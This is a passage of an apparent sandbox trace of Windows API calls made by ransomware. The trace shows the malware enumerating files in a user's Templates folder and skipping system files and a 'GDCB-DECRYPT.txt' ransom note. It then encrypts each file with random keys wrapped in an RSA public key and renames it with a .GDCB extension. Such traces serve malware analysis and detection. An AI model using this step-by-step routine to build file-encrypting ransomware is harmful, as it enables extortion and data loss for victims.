nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.579] CloseHandle (hObject=0x4fc) returned 1 [0054.580] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.580] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.580] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.581] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\normal.dotm.gdcb")) returned 1 [0054.581] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.581] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.581] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.581] lstrcmpW (lpString1="Process Map for Basic Flowchart.xltx", lpString2=".") returned 1 [0054.581] lstrcmpW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="..") returned 1 [0054.581] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Basic Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" [0054.582] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.582] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned 94 [0054.582] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned 94 [0054.582] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned 94 [0054.582] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned 94 [0054.582] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="desktop.ini") returned 1 [0054.582] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="autorun.inf") returned 1 [0054.582] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="ntuser.dat") returned 1 [0054.582] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="iconcache.db") returned 1 [0054.582] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="bootsect.bak") returned 1 [0054.582] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="boot.ini") returned 1 [0054.582] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="ntuser.dat.log") returned 1 [0054.582] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="thumbs.db") returned -1 [0054.582] lstrcmpiW (lpString1="Process Map for Basic Flowchart.xltx", lpString2="GDCB-DECRYPT.txt") returned 1 [0054.582] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for basic flowchart.xltx")) returned 0x20 [0054.582] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx", dwFileAttributes=0x20) returned 1 [0054.582] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.582] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" [0054.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB" [0054.582] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5900a0) returned 1 [0054.583] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.583] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.583] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.583] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0054.583] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.583] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5900a0) returned 1 [0054.584] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.584] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.584] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.584] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0054.584] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.584] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.584] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.585] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58ff08) returned 1 [0054.586] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b89f0) returned 1 [0054.586] CryptGetKeyParam (in: hKey=0x5b89f0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.586] CryptEncrypt (in: hKey=0x5b89f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.587] GetLastError () returned 0x0 [0054.587] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.587] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.588] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8d30) returned 1 [0054.588] CryptGetKeyParam (in: hKey=0x5b8d30, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.588] CryptEncrypt (in: hKey=0x5b8d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.589] GetLastError () returned 0x0 [0054.589] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.589] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for basic flowchart.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.589] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.589] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.589] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x1ad7d, lpOverlapped=0x0) returned 1 [0054.599] VirtualAlloc (lpAddress=0x0, dwSize=0x1ad80, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.601] VirtualAlloc (lpAddress=0x0, dwSize=0x1ad80, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0054.602] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.602] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-109949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.602] WriteFile (in: hFile=0x4fc, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x1ad80, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285ed30*=0x1ad80, lpOverlapped=0x0) returned 1 [0054.603] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.603] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.606] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.606] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.606] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.606] CloseHandle (hObject=0x4fc) returned 1 [0054.607] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.608] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.608] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.608] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for basic flowchart.xltx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Basic Flowchart.xltx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for basic flowchart.xltx.gdcb")) returned 1 [0054.608] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.608] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.609] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.609] lstrcmpW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2=".") returned 1 [0054.609] lstrcmpW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="..") returned 1 [0054.609] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Process Map for Cross-Functional Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" [0054.609] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.609] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned 105 [0054.609] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned 105 [0054.609] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned 105 [0054.609] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned 105 [0054.609] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="desktop.ini") returned 1 [0054.609] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="autorun.inf") returned 1 [0054.609] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="ntuser.dat") returned 1 [0054.609] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="iconcache.db") returned 1 [0054.609] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="bootsect.bak") returned 1 [0054.609] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="boot.ini") returned 1 [0054.609] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="ntuser.dat.log") returned 1 [0054.609] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="thumbs.db") returned -1 [0054.609] lstrcmpiW (lpString1="Process Map for Cross-Functional Flowchart.xltx", lpString2="GDCB-DECRYPT.txt") returned 1 [0054.609] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for cross-functional flowchart.xltx")) returned 0x20 [0054.609] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx", dwFileAttributes=0x20) returned 1 [0054.610] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.610] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" [0054.610] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB" [0054.610] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5901b0) returned 1 [0054.610] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.610] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.610] CryptGenRandom (in: hProv=0x5901b0, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.610] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0054.610] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.611] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58ff08) returned 1 [0054.611] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.611] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.611] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.611] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.611] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.611] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.611] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.612] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.612] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58ff08) returned 1 [0054.614] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8c70) returned 1 [0054.614] CryptGetKeyParam (in: hKey=0x5b8c70, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.614] CryptEncrypt (in: hKey=0x5b8c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.614] GetLastError () returned 0x0 [0054.614] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.614] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5902c0) returned 1 [0054.616] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8a30) returned 1 [0054.616] CryptGetKeyParam (in: hKey=0x5b8a30, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.616] CryptEncrypt (in: hKey=0x5b8a30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.616] GetLastError () returned 0x0 [0054.616] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0054.616] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for cross-functional flowchart.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.617] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.617] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.617] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x2355e, lpOverlapped=0x0) returned 1 [0054.622] VirtualAlloc (lpAddress=0x0, dwSize=0x23560, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.623] VirtualAlloc (lpAddress=0x0, dwSize=0x23560, flAllocationType=0x3000, flProtect=0x4) returned 0x29e0000 [0054.625] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.626] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-144734, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.626] WriteFile (in: hFile=0x4fc, lpBuffer=0x29e0000*, nNumberOfBytesToWrite=0x23560, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x29e0000*, lpNumberOfBytesWritten=0x285ed30*=0x23560, lpOverlapped=0x0) returned 1 [0054.626] VirtualFree (lpAddress=0x29e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.626] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.629] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.629] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.629] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.629] CloseHandle (hObject=0x4fc) returned 1 [0054.631] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.631] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.632] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.632] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for cross-functional flowchart.xltx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Process Map for Cross-Functional Flowchart.xltx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\process map for cross-functional flowchart.xltx.gdcb")) returned 1 [0054.632] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.632] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.633] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.633] lstrcmpW (lpString1="Stock symbols comparison.xltm", lpString2=".") returned 1 [0054.633] lstrcmpW (lpString1="Stock symbols comparison.xltm", lpString2="..") returned 1 [0054.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Stock symbols comparison.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" [0054.633] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.633] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned 87 [0054.633] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned 87 [0054.633] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned 87 [0054.633] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned 87 [0054.633] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="desktop.ini") returned 1 [0054.633] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="autorun.inf") returned 1 [0054.633] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="ntuser.dat") returned 1 [0054.633] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="iconcache.db") returned 1 [0054.633] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="bootsect.bak") returned 1 [0054.633] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="boot.ini") returned 1 [0054.633] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="ntuser.dat.log") returned 1 [0054.633] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="thumbs.db") returned -1 [0054.633] lstrcmpiW (lpString1="Stock symbols comparison.xltm", lpString2="GDCB-DECRYPT.txt") returned 1 [0054.633] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\stock symbols comparison.xltm")) returned 0x20 [0054.633] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm", dwFileAttributes=0x20) returned 1 [0054.633] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.634] lstrcpyW (in: lpString1=0x2860000, 